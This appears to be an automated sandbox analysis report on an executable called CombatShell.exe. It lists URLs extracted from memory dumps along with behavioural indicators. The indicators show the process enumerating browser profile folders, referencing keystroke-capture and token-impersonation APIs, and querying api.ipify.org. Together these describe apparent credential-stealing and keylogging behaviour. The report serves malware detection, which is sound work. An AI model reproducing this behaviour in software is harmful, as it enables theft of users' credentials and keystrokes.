URL "https://ntp.msn.com/edge/ntp?feedpivot=following&csronly=true&query=adult&form=flpg&feeddisplay=always" - Source: "00000000-00005644.00000001.288725.261DB000.00000004.mdmp") Found URL "https://www.msn.com/en-us/shopping?form=ansbs6&srcmodid=topsd&srctmtid=prg-wpo-shp2t4" - Source: "00000000-00005644.00000001.288725.261DB000.00000004.mdmp") Found URL "http://img-s-msn-com.akamaized.net/tenant/amp/entityid/aao0l1" - Source: "00000000-00005644.00000001.288725.261DB000.00000004.mdmp") Found URL "https://github.githubassets.com/assets/github-elements-41a524cdc4d4.js" - Source: "00000000-00005644.00000001.288725.261DB000.00000004.mdmp") Found URL "https://github.githubassets.com/assets/element-registry-6bb9ae6fd6ef.js" - Source: "00000000-00005644.00000001.288725.261DB000.00000004.mdmp") Found URL "https://github.githubassets.com/assets/vendors-node_modules_github_catalyst_lib_index_js-node_modules_github_hydro-analytics-client_-7901e7-f8af173502c4.js" - Source: "00000000-00005644.00000001.288725.261DB000.00000004.mdmp") Found URL "https://github.githubassets.com/assets/vendors-node_modules_braintree_browser-detection_dist_browser-detection_js-node_modules_stack-68835d-59206c834a41.js" - Source: "00000000-00005644.00000001.288725.261DB000.00000004.mdmp") Found URL "https://github.githubassets.com/assets/app_assets_modules_github_behaviors_ajax-error_ts-app_jude-" - Source: "00000000-00005644.00000001.288725.261DB000.00000004.mdmp") Found URL "https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-7b4e1bb6ed01.js" - Source: "00000000-00005644.00000001.288725.261DB000.00000004.mdmp") Found URL "https://github.githubassets.com/assets/app_assets_modules_github_blob-anchor_ts-app_assets_modules_github_filter-sort_ts-app_assets_-6deafe-ba6b1a674c75.js" - Source: "00000000-00005644.00000001.288725.261DB000.00000004.mdmp") Found URL "https://github.githubassets.com/assets/behaviors-2d5e154dd65d.js" - Source: "00000000-00005644.00000001.288725.261DB000.00000004.mdmp") Found URL "https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-2ea61fcc9a71.js" - Source: "00000000-00005644.00000001.288725.261DB000.00000004.mdmp") Found URL "https://github.githubassets.com/assets/notifications-global-c65a9d55f5bb.js" - Source: "00000000-00005644.00000001.288725.261DB000.00000004.mdmp") Found URL "https://github.githubassets.com/assets/vendors-node_modules_virtualized-list_es_index_js-node_modules_github_template-parts_lib_index_js-878844713bc9.js" - Source: "00000000-00005644.00000001.288725.261DB000.00000004.mdmp") Found URL "https://github.githubassets.com/assets/vendors-node_modules_primer_react_lib-esm_button_button_js-83e387^s" - Source: "00000000-00005644.00000001.288725.261DB000.00000004.mdmp") Found URL "https://github.githubassets.com/assets/vendo1modules_primer_react_lib-esm_formcontrol_formcontrol_js-834a6a5993af.js" - Source: "00000000-00005644.00000001.288725.261DB000.00000004.mdmp") Found URL "https://github.githubassets.com/assets/notifications-subscriptions-menu-941dd31bc11a.js" - Source: "00000000-00005644.00000001.288725.261DB000.00000004.mdmp") Found URL "https://github.githubassets.com/assets/vendors-node_modules_primer_react_lib-esm_dialog_dialog_js-node_modules_primer_react_lib-esm_-af9f6c-a78fe94dbac9.js" - Source: "00000000-00005644.00000001.288725.261DB000.00000004.mdmp") Found URL "https://github.githubassets.com/assets/keyboard-shortcuts-dialog-a7f7ecf0fc14.js" - Source: "00000000-00005644.00000001.288725.261DB000.00000004.mdmp") Found URL "https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd6'fi" - Source: "00000000-00005644.00000001.288725.261DB000.00000004.mdmp") Found URL "https://ntp.msn.comsai_ntp=" - Source: "00000000-00005644.00000001.288725.261DB000.00000004.mdmp") Found URL "https://ntp.msn.comseeninterestsfrecount<_https://ntp.msn.comwpo_data_" - Source: "00000000-00005644.00000001.288725.261DB000.00000004.mdmp") Found URL "https://img-s-msn-com.akamaized.net/tenant/amp/entityid/bb1ax8yq.img" - Source: "00000000-00005644.00000001.288725.261DB000.00000004.mdmp") Found URL "https://ntp.msn.com/edge/ntp?feedpivot=following&csronly=true&query=adult&form=" - Source: "00000000-00005644.00000001.288725.261DB000.00000004.mdmp") Found URL "https://ntp.msn.comstoragetest_page_version" - Source: "00000000-00005644.00000001.288725.261DB000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htm'x" - Source: "00000000-00005644.00000001.288725.261DB000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmax" - Source: "00000000-00005644.00000001.288725.261DB000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00005644.00000001.288725.261DB000.00000004.mdmp") Found URL "http://www.microsoft.com0rcv" - Source: "00000000-00005644.00000001.288725.261DB000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0dr5r" - Source: "00000000-00005644.00000001.288725.261DB000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0fqyndqi3gi5ltjuz9st8mavn+2sbwlvnkwdob4tn72ixf7zhn1cpxrfdr5r" - Source: "00000000-00005644.00000001.288725.261DB000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4>@6t+a6" - Source: "00000000-00005644.00000001.288725.261DB000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crlhhttp://crl.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccertrulispca_2009-04-02.crt0+" - Source: "00000000-00005644.00000001.288725.261DB000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0th0f0d8http://www.microsoft.com/pki/certs/microsoftrootcert.crt0!:ctxcg" - Source: "00000000-00005644.00000001.288725.261DB000.00000004.mdmp") Found URL "http://microsoft.com0k" - Source: "00000000-00005644.00000001.288725.261DB000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0t<" - Source: "00000000-00005644.00000001.288725.261DB000.00000004.mdmp") Found URL "http://microsoft.com0" - Source: "00000000-00005644.00000001.288725.261DB000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00005644.00000002.290644.261DB000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00005644.00000002.290644.261DB000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0quuu" - Source: "00000000-00005644.00000002.290644.261DB000.00000004.mdmp") Found URL "https://api.ipify.org/i0_1tokio-runtime-workert134t241dst044api.ipify.org1919048onuser.op79.op80t343rker54fximporertopenertgete0ertfreepfxexporpy" - Source: "00000000-00005644.00000002.290644.261DB000.00000004.mdmp") Found URL "https://api.ipify.org/ernel32eletese0manifestpreeconspysqgjsty@7" - Source: "00000000-00005644.00000002.290644.261DB000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppps://helpx.adobe.comu_sclid%b1b37d46-8d8@>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>pppp.msn.comspvisitsmetadata<_https://ntp.msn@>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>pppaized.net/tenant/amp/entityid/aa13q6al.img" - Source: "00000000-00005644.00000002.290644.261DB000.00000004.mdmp") Found URL "https://ntp.msn@>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>ppp>pppmmendedsites" - Source: "00000000-00005644.00000002.290644.261DB000.00000004.mdmp") Found URL "https://ntp.msn.comfallbacknavigationres@" - Source: "00000000-00005644.00000002.290644.261DB000.00000004.mdmp") Found URL "https://ntp.msn.comlastknownpv1721080261795-_https://ntp.msn.comlastvisuallyreadymarker1721080262612/_https://ntp.msn.comnotification_cache_ls_key" - Source: "00000000-00005644.00000002.290644.261DB000.00000004.mdmp") Found URL "https://ntp.msn.comonesvcunitunmodeheader" - Source: "00000000-00005644.00000002.290644.261DB000.00000004.mdmp") Found URL "https://ntp.msn.compageversions," - Source: "00000000-00005644.00000002.290644.261DB000.00000004.mdmp") Found URL "https://github.githubassets.com/assets/app_assets_modules_github_behaviors_ajax-error_ts-app_jude-" - Source: "00000000-00005644.00000002.290644.261DB000.00000004.mdmp") Found URL "https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-7b4e1bb6ed01.js" - Source: "00000000-00005644.00000002.290644.261DB000.00000004.mdmp") Found URL "https://github.githubassets.com/assets/app_assets_modules_github_blob-anchor_ts-app_assets_modules_github_filter-sort_ts-app_assets_-6deafe-ba6b1a674c75.js" - Source: "00000000-00005644.00000002.290644.261DB000.00000004.mdmp") Found URL "https://github.githubassets.com/assets/behaviors-2d5e154dd65d.js" - Source: "00000000-00005644.00000002.290644.261DB000.00000004.mdmp") Found URL "https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-2ea61fcc9a71.js" - Source: "00000000-00005644.00000002.290644.261DB000.00000004.mdmp") Found URL "https://github.githubassets.com/assets/notifications-global-c65a9d55f5bb.js" - Source: "00000000-00005644.00000002.290644.261DB000.00000004.mdmp") Found URL "https://github.githubassets.com/assets/vendors-node_modules_virtualized-list_es_index_js-node_modules_github_template-parts_lib_index_js-878844713bc9.js" - Source: "00000000-00005644.00000002.290644.261DB000.00000004.mdmp") Found URL "https://github.githubassets.com/assets/vendors-node_modules_primer_react_lib-esm_button_button_js-83e387^s" - Source: "00000000-00005644.00000002.290644.261DB000.00000004.mdmp") Found URL "https://github.githubassets.com/assets/vendo1modules_primer_react_lib-esm_formcontrol_formcontrol_js-834a6a5993af.js" - Source: "00000000-00005644.00000002.290644.261DB000.00000004.mdmp") Found URL "https://github.githubassets.com/assets/notifications-subscriptions-menu-941dd31bc11a.js" - Source: "00000000-00005644.00000002.290644.261DB000.00000004.mdmp") Found URL "https://github.githubassets.com/assets/vendors-node_modules_primer_react_lib-esm_dialog_dialog_js-node_modules_primer_react_lib-esm_-af9f6c-a78fe94dbac9.js" - Source: "00000000-00005644.00000002.290644.261DB000.00000004.mdmp") Found URL "https://github.githubassets.com/assets/keyboard-shortcuts-dialog-a7f7ecf0fc14.js" - Source: "00000000-00005644.00000002.290644.261DB000.00000004.mdmp") Found URL "https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd6'fi" - Source: "00000000-00005644.00000002.290644.261DB000.00000004.mdmp") Found URL "https://ntp.msn.comsai_ntp=" - Source: "00000000-00005644.00000002.290644.261DB000.00000004.mdmp") Found URL "https://ntp.msn.comseeninterestsfrecount<_https://ntp.msn.comwpo_data_" - Source: "00000000-00005644.00000002.290644.261DB000.00000004.mdmp") Found URL "https://ntp.msn.com/edge/ntp?feedpivot=following&csronly=true&query=adult&form=flpg&feeddisplay=always" - Source: "00000000-00005644.00000002.290644.261DB000.00000004.mdmp") Found URL "https://img-s-msn-com.akamaized.net/tenant/amp/entityid/bb1ax8yq.img" - Source: "00000000-00005644.00000002.290644.261DB000.00000004.mdmp") Found URL "https://ntp.msn.com/edge/ntp?feedpivot=following&csronly=true&query=adult&form=" - Source: "00000000-00005644.00000002.290644.261DB000.00000004.mdmp") Found URL "https://ntp.msn.comstoragetest_page_version" - Source: "00000000-00005644.00000002.290644.261DB000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htm'x" - Source: "00000000-00005644.00000002.290644.261DB000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmax" - Source: "00000000-00005644.00000002.290644.261DB000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00005644.00000002.290644.261DB000.00000004.mdmp") Found URL "http://www.microsoft.com0rcv" - Source: "00000000-00005644.00000002.290644.261DB000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0dr5r" - Source: "00000000-00005644.00000002.290644.261DB000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0fqyndqi3gi5ltjuz9st8mavn+2sbwlvnkwdob4tn72ixf7zhn1cpxrfdr5r" - Source: "00000000-00005644.00000002.290644.261DB000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'41.3.6.1.4.1.311.10.1241204180014z0/^g(o-cejy" - Source: "00000000-00005644.00000002.290644.261DB000.00000004.mdmp") Found URL "http://www.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crlhhttp://crl.microsoft.com/pki/crl/products/miccertrulispca_2009-04-02.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccertrulispca_2009-04-02.crt0+" - Source: "00000000-00005644.00000002.290644.261DB000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl0th0f0d8http://www.microsoft.com/pki/certs/microsoftrootcert.crt0!:ctxcg" - Source: "00000000-00005644.00000002.290644.261DB000.00000004.mdmp") Found URL "http://microsoft.com0k" - Source: "00000000-00005644.00000002.290644.261DB000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0t<" - Source: "00000000-00005644.00000002.290644.261DB000.00000004.mdmp") Found URL "http://microsoft.com0" - Source: "00000000-00005644.00000002.290644.261DB000.00000004.mdmp")44:T933,"CombatShell.exe" called "FindNextFileW" with parameter .. (UID: 00000000-00005644) "CombatShell.exe" called "FindNextFileW" with parameter 5xz6ua91.default-release (UID: 00000000-00005644) "CombatShell.exe" called "FindNextFileW" with parameter lfdjd4n4.default (UID: 00000000-00005644) "CombatShell.exe" called "FindNextFileW" with parameter AutofillStates (UID: 00000000-00005644) "CombatShell.exe" called "FindNextFileW" with parameter CertificateRevocation (UID: 00000000-00005644) "CombatShell.exe" called "FindNextFileW" with parameter chrome_shutdown_ms.txt (UID: 00000000-00005644) "CombatShell.exe" called "FindNextFileW" with parameter ClientSidePhishing (UID: 00000000-00005644) "CombatShell.exe" called "FindNextFileW" with parameter Crashpad (UID: 00000000-00005644) "CombatShell.exe" called "FindNextFileW" with parameter Crowd Deny (UID: 00000000-00005644) "CombatShell.exe" called "FindNextFileW" with parameter Default (UID: 00000000-00005644) "CombatShell.exe" called "FindNextFileW" with parameter FileTypePolicies (UID: 00000000-00005644) "CombatShell.exe" called "FindNextFileW" with parameter First Run (UID: 00000000-00005644) "CombatShell.exe" called "FindNextFileW" with parameter FirstPartySetsPreloaded (UID: 00000000-00005644) "CombatShell.exe" called "FindNextFileW" with parameter first_party_sets.db (UID: 00000000-00005644) "CombatShell.exe" called "FindNextFileW" with parameter first_party_sets.db-journal (UID: 00000000-00005644) "CombatShell.exe" called "FindNextFileW" with parameter GraphiteDawnCache (UID: 00000000-00005644) "CombatShell.exe" called "FindNextFileW" with parameter GrShaderCache (UID: 00000000-00005644) "CombatShell.exe" called "FindNextFileW" with parameter hyphen-data (UID: 00000000-00005644) "CombatShell.exe" called "FindNextFileW" with parameter Last Browser (UID: 00000000-00005644) "CombatShell.exe" called "FindNextFileW" with parameter Last Version (UID: 00000000-00005644) "CombatShell.exe" called "FindNextFileW" with parameter Local State (UID: 00000000-00005644) "CombatShell.exe" called "FindNextFileW" with parameter MediaFoundationWidevineCdm (UID: 00000000-00005644) "CombatShell.exe" called "FindNextFileW" with parameter MEIPreload (UID: 00000000-00005644) "CombatShell.exe" called "FindNextFileW" with parameter Module Info Cache (UID: 00000000-00005644)45:Tb97,Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; File: "CombatShell.exe") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; File: "CombatShell.exe") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; File: "CombatShell.exe") Found reference to API "CreateToolhelp32Snapshot" (Indicator: "CreateToolhelp32Snapshot"; File: "CombatShell.exe") Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; File: "CombatShell.exe") Found reference to API "GetEnvironmentStringsW" (Indicator: "GetEnvironmentStrings"; File: "CombatShell.exe") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; File: "CombatShell.exe") Found reference to API "Module32FirstW" (Indicator: "Module32First"; File: "CombatShell.exe") Found reference to API "Module32NextW" (Indicator: "Module32Next"; File: "CombatShell.exe") Found reference to API "CreateToolhelp32Snapshot" (Indicator: "CreateToolhelp32Snapshot"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API "GetEnvironmentStringsW" (Indicator: "GetEnvironmentStrings"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API "Module32FirstW" (Indicator: "Module32First"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API "Module32NextW" (Indicator: "Module32Next"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API "Process32FirstW" (Indicator: "Process32First"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp") Found reference to API "Process32NextW" (Indicator: "Process32Next"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp") Found reference to API "GetModuleHandleExW" (Indicator: "GetModuleHandle"; Source: "00000000-00005644.00000002.290644.3A439000.00000002.mdmp")46:T99d,Found reference to API "GetTempPathW" (Indicator: "GetTempPath"; File: "CombatShell.exe") Found reference to API "GetFileInformationByHandle" (Indicator: "GetFileInformationByHandle"; File: "CombatShell.exe") Found reference to API "GetFileAttributesW" (Indicator: "GetFileAttributes"; File: "CombatShell.exe") Found reference to API "GetCurrentDirectoryW" (Indicator: "GetCurrentDirectory"; File: "CombatShell.exe") Found reference to API "GetSystemDirectoryW" (Indicator: "GetSystemDirectory"; File: "CombatShell.exe") Found reference to API "GetFileInformationByHandleEx" (Indicator: "GetFileInformationByHandle"; File: "CombatShell.exe") Found reference to API "GetCurrentDirectoryW" (Indicator: "GetCurrentDirectory"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API "GetFileAttributesA" (Indicator: "GetFileAttributes"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp") Found reference to API "GetFileAttributesExW" (Indicator: "GetFileAttributes"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp") Found reference to API "GetFileAttributesW" (Indicator: "GetFileAttributes"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API "GetFileInformationByHandle" (Indicator: "GetFileInformationByHandle"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API "GetFileInformationByHandleEx" (Indicator: "GetFileInformationByHandle"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API "GetFileSize" (Indicator: "GetFileSize"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp") Found reference to API "GetSystemDirectoryW" (Indicator: "GetSystemDirectory"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API "GetTempPathA" (Indicator: "GetTempPath"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp") Found reference to API "GetTempPathW" (Indicator: "GetTempPath"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp")47:T6d7,Found reference to API "GetKeyboardState" (Indicator: "GetKeyboardState"; File: "CombatShell.exe") Found reference to API "GetKeyState" (Indicator: "GetKeyState"; File: "CombatShell.exe") Found reference to API "MapVirtualKeyW" (Indicator: "MapVirtualKey"; File: "CombatShell.exe") Found reference to API "GetAsyncKeyState" (Indicator: "GetAsyncKeyState"; File: "CombatShell.exe") Found reference to API "MapVirtualKeyExW" (Indicator: "MapVirtualKey"; File: "CombatShell.exe") Found reference to API "61141276908,4752,104,,GetKeyState,user32.dll,"01:15:02.218",RX=0,PX=0" (Indicator: "GetKeyState"; Source: "00000000-00005644.00000001.288725.261DB000.00000004.mdmp") Found reference to API "61066059310,4752,104,,GetKeyState,user32.dll,"01:15:02.187",RX=0,PX=0" (Indicator: "GetKeyState"; Source: "00000000-00005644.00000001.288725.261DB000.00000004.mdmp") Found reference to API "104768489246,4752,104,,GetKeyState,user32.dll,"01:15:20.390",RX=0,PX=0" (Indicator: "GetKeyState"; Source: "00000000-00005644.00000002.290644.261DB000.00000004.mdmp") Found reference to API "GetAsyncKeyState" (Indicator: "GetAsyncKeyState"; Source: "00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API "GetKeyState" (Indicator: "GetKeyState"; Source: "00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API "GetKeyboardState" (Indicator: "GetKeyboardState"; Source: "00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API "MapVirtualKeyExW" (Indicator: "MapVirtualKey"; Source: "00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API "MapVirtualKeyW" (Indicator: "MapVirtualKey"; Source: "00000000-00005644.00000002.290644.3A439000.00000002.mdmp")48:T5aa,Found reference to API "GetSystemMetrics" (Indicator: "GetSystemMetrics"; File: "CombatShell.exe") Found reference to API "66191317299,4752,111,,GetSystemMetrics,user32.dll,"01:15:04.312",RX=0,PX=0" (Indicator: "GetSystemMetrics"; Source: "00000000-00005644.00000001.288725.261DB000.00000004.mdmp") Found reference to API "66191248867,4752,111,,GetSystemMetrics,user32.dll,"01:15:04.312",RX=0,PX=0" (Indicator: "GetSystemMetrics"; Source: "00000000-00005644.00000001.288725.261DB000.00000004.mdmp") Found reference to API "66191371993,4752,111,,GetSystemMetrics,user32.dll,"01:15:04.312",RX=0,PX=0" (Indicator: "GetSystemMetrics"; Source: "00000000-00005644.00000001.288725.261DB000.00000004.mdmp") Found reference to API "104892246234,4752,111,,GetSystemMetrics,user32.dll,"01:15:20.437",RX=0,PX=0" (Indicator: "GetSystemMetrics"; Source: "00000000-00005644.00000002.290644.261DB000.00000004.mdmp") Found reference to API "104780769619,4752,111,,GetSystemMetrics,user32.dll,"01:15:20.390",RX=0,PX=0" (Indicator: "GetSystemMetrics"; Source: "00000000-00005644.00000002.290644.261DB000.00000004.mdmp") Found reference to API "104954715654,4752,111,,GetSystemMetrics,user32.dll,"01:15:20.468",RX=0,PX=0" (Indicator: "GetSystemMetrics"; Source: "00000000-00005644.00000002.290644.261DB000.00000004.mdmp") Found reference to API "GetSystemMetrics" (Indicator: "GetSystemMetrics"; Source: "00000000-00005644.00000002.290644.3A439000.00000002.mdmp")49:T771,Found string "\Device\Afd\Mio" (Indicator: "\Device\"; File: "CombatShell.exe") Found string "\Device\HarddiskVolume3\Windows\System32\conhost.exe" (Indicator: "\Device\"; Source: "00000000-00005644-00000BC0-3481439369") Found string "DriverData=C:\Windows\System32\Drivers\DriverData" (Indicator: "\drivers\"; Source: "00000000-00005644.00000000.286803.21F00000.00000004.mdmp, 00000000-00005644.00000000.286803.221E0000.00000004.mdmp, 00000000-00005644.00000001.288725.21F00000.00000004.mdmp, 00000000-00005644.00000001.288725.221E0000.00000004.mdmp, 00000000-00005644.00000002.290644.21F00000.00000004.mdmp, 00000000-00005644.00000002.290644.221E0000.00000004.mdmp") Found string "DriverData=C:\Windows\System32\Drivers\DriverData" (Indicator: "system32\drivers"; Source: "00000000-00005644.00000000.286803.21F00000.00000004.mdmp, 00000000-00005644.00000000.286803.221E0000.00000004.mdmp, 00000000-00005644.00000001.288725.21F00000.00000004.mdmp, 00000000-00005644.00000001.288725.221E0000.00000004.mdmp, 00000000-00005644.00000002.290644.21F00000.00000004.mdmp, 00000000-00005644.00000002.290644.221E0000.00000004.mdmp") Found string "\Device\HarddiskVolume3\CombatShell.exe" (Indicator: "\Device\"; Source: "00000000-00005644.00000000.286803.21F00000.00000004.mdmp, 00000000-00005644.00000001.288725.21F00000.00000004.mdmp, 00000000-00005644.00000002.290644.21F00000.00000004.mdmp") Found string "\System32\Drivers\DriverData" (Indicator: "\drivers\"; Source: "00000000-00005644.00000000.286803.21F00000.00000004.mdmp, 00000000-00005644.00000001.288725.21F00000.00000004.mdmp, 00000000-00005644.00000002.290644.21F00000.00000004.mdmp") Found string "\System32\Drivers\DriverData" (Indicator: "system32\drivers"; Source: "00000000-00005644.00000000.286803.21F00000.00000004.mdmp, 00000000-00005644.00000001.288725.21F00000.00000004.mdmp, 00000000-00005644.00000002.290644.21F00000.00000004.mdmp")4a:T429,Found reference to API "RevertToSelf" (Indicator: "RevertToSelf"; File: "CombatShell.exe") Found reference to API "ImpersonateAnonymousToken" (Indicator: "ImpersonateAnonymousToken"; File: "CombatShell.exe") Found reference to API "DuplicateToken" (Indicator: "DuplicateToken"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp") Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp") Found reference to API "ImpersonateAnonymousToken" (Indicator: "ImpersonateAnonymousToken"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp") Found reference to API "ImpersonateLoggedOnUser" (Indicator: "ImpersonateLoggedOnUser"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp") Found reference to API "RevertToSelf" (Indicator: "RevertToSelf"; Source: "00000000-00005644.00000001.288725.81353000.00000002.mdmp, 00000000-00005644.00000002.290644.3A439000.00000002.mdmp")4b:T9da,"CombatShell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\NAMESPACE_CATALOG5"; Key: "SERIAL_ACCESS_NUM"; Value: "") "CombatShell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "SERIAL_ACCESS_NUM"; Value: "") "CombatShell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS"; Key: "WINSOCK_REGISTRY_VERSION"; Value: "") "CombatShell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS"; Key: "NAMESPACE_CALLOUT"; Value: "") "CombatShell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "NEXT_CATALOG_ENTRY_ID"; Value: "") "CombatShell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "NUM_CATALOG_ENTRIES64"; Value: "") "CombatShell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000001"; Key: "PACKEDCATALOGITEM"; Value: "") "CombatShell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES64\000000000002"; Key: "PACKEDCATALOGITEM"; Value: "") "CombatShell.exe" (Access 